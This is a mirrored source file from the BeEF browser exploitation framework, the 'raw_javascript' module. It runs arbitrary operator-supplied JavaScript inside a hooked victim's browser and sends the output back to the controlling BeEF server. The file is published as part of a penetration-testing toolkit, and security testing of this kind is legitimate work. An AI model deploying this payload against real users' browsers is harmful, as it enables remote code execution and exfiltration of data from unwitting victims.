Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/raw_javascript/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var result;
9
10
try {
11
result = function() {<%= @cmd %>}();
12
} catch(e) {
13
for(var n in e)
14
result+= n + " " + e[n] + "\n";
15
}
16
17
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
18
});
19
20
21
22
23
24
25
26